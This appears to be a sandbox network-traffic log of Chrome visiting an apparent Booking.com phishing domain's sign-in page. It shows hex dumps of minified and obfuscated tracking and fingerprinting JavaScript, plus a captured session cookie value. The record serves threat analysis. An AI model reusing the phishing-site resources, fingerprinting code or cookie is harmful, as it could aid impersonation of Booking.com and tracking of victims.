2024-07-08 22:43:30 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 20 73 61 28 61 2c 62 2c 63 29 7b 69 66 28 63 26 26 63 2e 61 63 74 69 6f 6e 29 7b 76 61 72 20 64 3d 28 63 2e 6d 65 74 68 6f 64 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 22 67 65 74 22 3d 3d 3d 64 29 7b 64 3d 63 2e 63 68 69 6c 64 4e 6f 64 65 73 7c 7c 5b 5d 3b 66 6f 72 28 76 61 72 20 65 3d 21 31 2c 66 3d 30 3b 66 3c 64 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 7b 76 61 72 20 68 3d 64 5b 66 5d 3b 69 66 28 68 2e 6e 61 6d 65 3d 3d 3d 61 29 7b 68 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 76 61 6c 75 65 22 2c 62 29 3b 65 3d 21 30 3b 62 72 65 61 6b 7d 7d 65 7c 7c 28 64 3d 49 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 2c 64 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 Data Ascii: nction sa(a,b,c){if(c&&c.action){var d=(c.method\|\|"").toLowerCase();if("get"===d){d=c.childNodes\|\|[];for(var e=!1,f=0;f<d.length;f++){var h=d[f];if(h.name===a){h.setAttribute("value",b);e=!0;break}}e\|\|(d=I.createElement("input"),d.setAttribute("type","hid
2024-07-08 22:43:30 UTC	1369	IN	Data Raw: 64 65 73 74 69 6e 61 74 69 6f 6e 73 3a 5b 62 5d 7d 7d 29 3b 70 28 22 67 6f 6f 67 6c 65 5f 74 61 67 5f 64 61 74 61 2e 74 63 42 72 69 64 67 65 2e 73 65 74 53 69 64 65 6c 6f 61 64 22 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 61 3d 7b 63 74 69 64 3a 61 2b 22 5f 22 2b 63 2c 69 73 44 65 73 74 69 6e 61 74 69 6f 6e 3a 21 30 7d 3b 4d 28 29 2e 63 6f 6e 74 61 69 6e 65 72 5b 62 5d 3d 7b 73 74 61 74 65 3a 31 2c 63 6f 6e 74 65 78 74 3a 7b 73 6f 75 72 63 65 3a 35 2c 66 72 6f 6d 43 6f 6e 74 61 69 6e 65 72 45 78 65 63 75 74 69 6f 6e 3a 21 30 7d 2c 70 61 72 65 6e 74 3a 61 7d 3b 64 61 28 7b 63 74 69 64 3a 62 2c 69 73 44 65 73 74 69 6e 61 74 69 6f 6e 3a 21 31 7d 29 7d 29 3b 7d 29 28 77 69 6e 64 6f 77 29 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f Data Ascii: destinations:[b]}});p("google_tag_data.tcBridge.setSideload",function(a,b,c){a={ctid:a+"_"+c,isDestination:!0};M().container[b]={state:1,context:{source:5,fromContainerExecution:!0},parent:a};da({ctid:b,isDestination:!1})});})(window);(function(){functio
2024-07-08 22:43:30 UTC	1369	IN	Data Raw: 6e 67 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 28 61 29 29 7d 2c 71 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 61 26 26 2d 31 3c 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2b 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 53 74 72 69 6e 67 22 29 7d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 30 3d 3d 61 2e 69 6e 64 65 78 4f 66 28 62 29 7d 2c 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 2e 72 65 70 6c 61 63 65 28 2f 5e 5b 5c 73 5c 78 61 30 5d 2b 7c 5b 5c 73 5c 78 61 30 5d 2b 24 2f 67 2c 22 22 29 3a 22 22 7d 2c 72 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 4f 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2b 28 4d 2e 63 6f 6f 6b 69 Data Ascii: ng.call(Object(a))},qa=function(a){return void 0!=a&&-1<(a.constructor+"").indexOf("String")},D=function(a,b){return 0==a.indexOf(b)},sa=function(a){return a?a.replace(/^[\s\xa0]+\|[\s\xa0]+$/g,""):""},ra=function(){for(var a=O.navigator.userAgent+(M.cooki
2024-07-08 22:43:30 UTC	1369	IN	Data Raw: 61 29 2c 64 26 26 28 63 2e 6f 6e 6c 6f 61 64 3d 64 29 2c 65 26 26 28 63 2e 6f 6e 65 72 72 6f 72 3d 65 29 2c 62 26 26 28 63 2e 69 64 3d 62 29 2c 67 26 26 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 2c 0a 67 29 2c 61 3d 4d 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 2c 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 63 2c 61 29 29 7d 7d 2c 62 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 45 28 4d 2e 6c 6f 63 61 74 69 6f 6e 5b 62 3f 22 68 72 65 66 22 3a 22 73 65 61 72 63 68 22 5d 2c 61 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 28 61 3d 61 2e 6d 61 74 63 68 28 22 28 3f 3a 26 7c 23 7c 5c 5c 3f 29 Data Ascii: a),d&&(c.onload=d),e&&(c.onerror=e),b&&(c.id=b),g&&c.setAttribute("nonce",g),a=M.getElementsByTagName("script")[0],a.parentNode.insertBefore(c,a))}},be=function(a,b){return E(M.location[b?"href":"search"],a)},E=function(a,b){return(a=a.match("(?:&\|#\|\\?)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49752	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:30 UTC	630	OUT	GET /fp/clear.png HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: /, doregtzf/9d8e366b7ec51ed9945ec45e-dafc-4743-a19e-cc438bfbdec9 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://hotel-id637438.eu Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:30 UTC	415	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:30 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Last-Modified: Mon, 08 Jul 2024 22:43:30 GMT Expires: Sat, 07 Jul 2029 22:43:30 GMT Etag: 6c611afe4b1c48de9d767246fa8864b5 Cache-Control: private, must-revalidate, max-age=0 Access-Control-Allow-Origin: https://hotel-id637438.eu Content-Length: 81 Connection: close Content-Type: image/png
2024-07-08 22:43:30 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49758	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:30 UTC	608	OUT	GET /static/cookie-banner.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	664	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 593 Connection: close last-modified: Sat, 06 Jul 2024 13:10:46 GMT etag: "e5588e6b531cc30037584e27b72326ea" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=amX4nKXaVQNE7302kLq4hnzsIXnuh7aOp%2B3Fw08U6y%2FXZpkoXSwYzTSJNRI%2FG96kYjvkq%2FiLBhW95UM5imE83Ab9nTlb9vhLyIkcRwNyizCyirtBWeZf0XWrTDeNzEiYwfhcGw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397f6c8fe5e66-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:31 UTC	593	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 4f 70 74 61 6e 6f 6e 57 72 61 70 70 65 72 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 44 6f 6d 61 69 6e 55 55 49 44 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 73 72 63 2a 3d 27 70 72 69 76 61 63 79 2d 63 6f 6e 73 65 6e 74 27 5d 22 29 3b 69 66 28 74 26 26 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 29 29 72 65 74 75 72 6e 20 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 29 2e 74 72 69 6d 28 29 7d 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 67 65 74 44 6f 6d 61 69 6e 55 55 49 44 28 29 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 Data Ascii: function OptanonWrapper(){}function getDomainUUID(){var t=document.querySelector("script[src*='privacy-consent']");if(t&&t.hasAttribute("data-domain-script"))return t.getAttribute("data-domain-script").trim()}!function(){var t=getDomainUUID(),e=document.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49759	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:30 UTC	600	OUT	GET /static/clientlib.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	665	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 3662 Connection: close last-modified: Sat, 06 Jul 2024 13:10:46 GMT etag: "c5fd39adfbefaddc608dd1a892db24f4" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=spBlqXxS%2FLZkmhMixX7cfHe1L3Sdc8DAtst8F0ti7isg0TX3GEzna1%2B8UvS0IiK%2F2NvcpMR0krA6kpLIz7ezX6ap5vKmsp%2FXKBROXAqGKylGCb4eUtSC3oNTHjSDiDVAyOhKMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397f6fd2f4295-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:31 UTC	704	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 76 61 72 20 67 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 44 61 74 65 2e 6e 6f 77 3f 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 45 29 7b 74 68 69 73 2e 4c 3d 45 3b 31 36 3d 3d 74 68 69 73 2e 4c 3f 28 74 68 69 73 2e 76 3d 32 36 38 34 33 35 34 35 36 2c 74 68 69 73 2e 43 3d 34 30 32 36 35 33 31 38 33 39 29 3a 28 74 68 69 73 2e 76 3d 37 38 33 36 34 31 36 34 30 39 36 2c 74 68 69 73 2e 43 3d 32 37 34 32 37 34 35 37 34 33 33 35 39 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 45 29 7b 72 65 74 75 72 6e 28 4d 61 74 68 2e 66 6c 6f 6f 72 Data Ascii: (function(){var g=this\|\|self;function z(){return"undefined"===typeof Date.now?(new Date).getTime():Date.now()}function N(E){this.L=E;16==this.L?(this.v=268435456,this.C=4026531839):(this.v=78364164096,this.C=2742745743359)}function l(E){return(Math.floor
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 72 74 65 64 28 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 45 3d 45 2e 67 65 74 28 29 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 45 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 59 3d 45 2e 73 70 6c 69 74 28 22 5f 22 29 3b 32 3d 3d 3d 59 2e 6c 65 6e 67 74 68 26 26 28 45 3d 59 5b 30 5d 29 3b 72 65 74 75 72 6e 22 30 3a 22 2b 45 7d 0a 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 76 61 72 20 45 3d 4a 28 29 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 45 29 69 66 28 45 3d 6e 65 77 20 54 28 22 65 64 37 33 66 32 30 65 64 62 66 32 62 37 34 22 29 2c 45 2e 73 75 70 70 6f 72 74 65 64 28 29 29 7b 76 61 72 20 59 3d 45 2e 67 65 74 28 29 3b 6e 75 6c 6c 3d 3d 3d 59 26 26 28 59 3d 5a 28 29 29 3b 76 61 72 20 75 3d 45 2e 73 65 74 3b 76 61 72 20 53 3d 59 2e 73 70 6c 69 74 28 22 3a 22 29 3b 69 66 28 Data Ascii: rted())return null;E=E.get();if(null===E)return null;var Y=E.split("_");2===Y.length&&(E=Y[0]);return"0:"+E}function v(){var E=J();if(null===E)if(E=new T("ed73f20edbf2b74"),E.supported()){var Y=E.get();null===Y&&(Y=Z());var u=E.set;var S=Y.split(":");if(
2024-07-08 22:43:31 UTC	1369	IN	Data Raw: 20 53 2e 6f 6e 69 63 65 63 61 6e 64 69 64 61 74 65 26 26 6e 75 6c 6c 21 3d 3d 53 2e 6f 6e 69 63 65 63 61 6e 64 69 64 61 74 65 26 26 28 53 2e 6f 6e 69 63 65 63 61 6e 64 69 64 61 74 65 3d 0a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 53 3d 6e 75 6c 6c 29 7d 2c 31 45 34 29 7d 7d 63 61 74 63 68 28 4b 29 7b 7d 7d 76 61 72 20 58 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 68 28 45 29 7b 66 6f 72 28 76 61 72 20 59 3b 6e 75 6c 6c 21 3d 3d 28 59 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 45 29 29 3b 29 59 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 59 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 50 28 45 2c 59 2c 75 2c 53 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 45 26 26 Data Ascii: S.onicecandidate&&null!==S.onicecandidate&&(S.onicecandidate=function(){},S=null)},1E4)}}catch(K){}}var X=null;function h(E){for(var Y;null!==(Y=document.getElementById(E));)Y.parentElement.removeChild(Y)}function P(E,Y,u,S){if("undefined"!==typeof E&&
2024-07-08 22:43:31 UTC	220	IN	Data Raw: 65 74 72 69 78 22 2c 22 70 72 6f 66 69 6c 65 22 5d 2c 51 3d 67 3b 57 5b 30 5d 69 6e 20 51 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 51 2e 65 78 65 63 53 63 72 69 70 74 7c 7c 51 2e 65 78 65 63 53 63 72 69 70 74 28 22 76 61 72 20 22 2b 57 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 52 3b 57 2e 6c 65 6e 67 74 68 26 26 28 52 3d 57 2e 73 68 69 66 74 28 29 29 3b 29 57 2e 6c 65 6e 67 74 68 7c 7c 76 6f 69 64 20 30 3d 3d 3d 50 3f 51 5b 52 5d 26 26 51 5b 52 5d 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 5b 52 5d 3f 51 3d 51 5b 52 5d 3a 51 3d 51 5b 52 5d 3d 7b 7d 3a 51 5b 52 5d 3d 50 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 0a Data Ascii: etrix","profile"],Q=g;W[0]in Q\|\|"undefined"==typeof Q.execScript\|\|Q.execScript("var "+W[0]);for(var R;W.length&&(R=W.shift());)W.length\|\|void 0===P?Q[R]&&Q[R]!==Object.prototype[R]?Q=Q[R]:Q=Q[R]={}:Q[R]=P;}).call(this);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49756	52.85.61.64	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:30 UTC	634	OUT	GET /_etnht?cpr=https&ch=hotel-id637438.eu&cpa=&ad=ad%2Fsign-in HTTP/1.1 Host: www.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	1350	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 35 Connection: close server: nginx date: Mon, 08 Jul 2024 22:43:31 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload content-security-policy-report-only: frame-ancestors 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=112&pid=30b19fc9e2310053&e=UmFuZG9tSVYkc2RlIyh9YVMFwLUCQ8zsS7x9ri8k8tfZKmtILEi8ZTWkbD4GEY5UooDTY02Vu6s x-xss-protection: 1; mode=block set-cookie: bkng_sso_auth=CAIQsOnuTRpmAQVCb3gGe4Yma73yIfD4a5Lfm6QYPU3a/iQNaLyryG97/zTUxpa7C7e8M9tCVggl/MaCTWHS9h83e8LovoFewHAsrQb2qHdCJhCpKcYvK7rM3JkeNurogCDUd1qggtKauX4oPgr8; Domain=.booking.com; Path=/; Expires=Wed, 08 Jul 2026 22:43:31 GMT; HttpOnly; Secure; SameSite=Lax set-cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D8ff40397-af9f-47cf-ac2d-1d93f2729fec%26consentedAt%3D2024-07-08T22%3A43%3A31.063Z%26expiresAt%3D2025-01-04T22%3A43%3A31.063Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; Domain=.booking.com; Path=/; Expires=Tue, 08 Jul 2025 22:43:31 GMT; HttpOnly; Secure; SameSite=Lax X-Cache: Miss from cloudfront Via: 1.1 0146c8129cacdacca96753291cf27ec4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-P1 X-Amz-Cf-Id: o6Zoq9SXeJT7xfnfez-JCMNKa0yFZ9UBK7Y498y4Fs3zb2vINtn3ag==
2024-07-08 22:43:31 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 90 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 04 01 00 3b Data Ascii: GIF89a,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49757	91.235.132.130	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	929	OUT	GET /_V5uGnUcz_yKSEQS?f73d56cd6d76ca0a=nqxTNuGLHIdaAisgqrPAILj-r4YQ5WFqxolXivNF8XRmYZrcKRCJMKW6K8767ipRgprw62BKy8rdTTiSnlK3qe884UTCPwdT4qgdEyRQCqJ3b4CxECpqrITDJnONE-YRZ4KgGA8e1iSa6dYOYR1PbJjeDeOrq4Ar_o0cThYEm8ESgnel6-5KtKggjeT8XV6mjmHMa475vB8tp2lnDBPR HTTP/1.1 Host: h.online-metrix.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	447	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Robots-Tag: noindex, nofollow Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:31 UTC	7745	IN	Data Raw: 31 66 66 38 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 74 69 74 6c 65 3e 65 6d 70 74 79 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 64 5f 32 57 3d 74 64 5f 32 57 7c 7c 7b 7d 3b 74 64 5f 32 57 2e 74 64 5f 35 7a 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 54 2c 74 64 5f 55 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 6f 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 4c 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 76 3d 30 3b 74 64 5f 76 3c 74 64 5f 55 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 76 29 7b 74 64 5f 6f 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 54 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 4c 29 5e 74 64 5f Data Ascii: 1ff8<html lang="en"><title>empty</title><body><script type="text/javascript">var td_2W=td_2W\|\|{};td_2W.td_5z=function(td_T,td_U){try{var td_o=[""];var td_L=0;for(var td_v=0;td_v<td_U.length;++td_v){td_o.push(String.fromCharCode(td_T.charCodeAt(td_L)^td_
2024-07-08 22:43:31 UTC	445	IN	Data Raw: 3b 7d 65 6c 73 65 7b 74 72 79 7b 74 64 5f 72 4d 2e 6f 6e 63 6f 6d 70 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 79 6c 29 7b 74 64 5f 62 43 28 74 64 5f 66 74 2c 74 64 5f 79 6c 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2c 74 64 5f 67 62 29 3b 7d 3b 74 64 5f 72 4d 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 50 76 29 7b 69 66 28 74 64 5f 67 62 3d 3d 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 32 57 2e 74 64 7a 5f 31 62 66 34 65 61 36 66 38 61 33 30 34 63 38 61 62 31 62 31 61 61 32 65 35 30 65 34 63 33 62 33 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 57 2e 74 64 7a 5f 31 62 66 34 65 61 36 66 38 61 33 30 34 63 38 61 62 31 62 31 61 61 32 65 35 30 65 34 63 33 62 33 2e 74 64 5f 66 29 21 3d 3d 22 75 6e Data Ascii: ;}else{try{td_rM.oncomplete=function(td_yl){td_bC(td_ft,td_yl.target.result,td_gb);};td_rM.onerror=function(td_Pv){if(td_gb===((typeof(td_2W.tdz_1bf4ea6f8a304c8ab1b1aa2e50e4c3b3)!=="undefined"&&typeof(td_2W.tdz_1bf4ea6f8a304c8ab1b1aa2e50e4c3b3.td_f)!=="un
2024-07-08 22:43:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:31 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 61 61 32 65 35 30 65 34 63 33 62 33 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 32 57 2e 74 64 7a 5f 31 62 66 34 65 61 36 66 38 61 33 30 34 63 38 61 62 31 62 31 61 61 32 65 35 30 65 34 63 33 62 33 2e 74 64 5f 66 28 37 34 2c 37 29 29 3a 6e 75 6c 6c 29 29 3b 0a 7d 7d 3b 7d 63 61 74 63 68 28 74 64 5f 4e 59 29 7b 7d 7d 7d 63 61 74 63 68 28 74 64 5f 4e 59 29 7b 69 66 28 74 64 5f 67 62 3d 3d 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 32 57 2e 74 64 7a 5f 31 62 66 34 65 61 36 66 38 61 33 30 34 63 38 61 62 31 62 31 61 61 32 65 35 30 65 34 63 33 62 33 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 32 57 2e 74 64 7a 5f 31 62 66 34 65 61 36 66 38 61 33 30 34 63 38 61 62 31 62 31 61 61 Data Ascii: 1ff8aa2e50e4c3b3.td_f)!=="undefined")?(td_2W.tdz_1bf4ea6f8a304c8ab1b1aa2e50e4c3b3.td_f(74,7)):null));}};}catch(td_NY){}}}catch(td_NY){if(td_gb===((typeof(td_2W.tdz_1bf4ea6f8a304c8ab1b1aa2e50e4c3b3)!=="undefined"&&typeof(td_2W.tdz_1bf4ea6f8a304c8ab1b1aa
2024-07-08 22:43:31 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
